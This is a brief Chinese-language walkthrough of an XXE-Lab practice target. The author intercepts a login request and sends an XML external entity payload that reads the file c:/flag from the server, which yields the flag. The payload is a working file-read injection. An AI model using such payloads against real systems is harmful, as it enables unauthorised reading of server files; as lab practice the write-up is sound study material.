XXE-Lab靶场（自用）

打开提供的靶机网址

随意输入账户密码，并抓包

发现回显位置在账户名称上，且格式神似XML，尝试使用XML注入漏洞

构建以下语句

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c:/flag">
]>
 
<user><username>&name;</username><password>1</password></user>

并发送包

取得Flag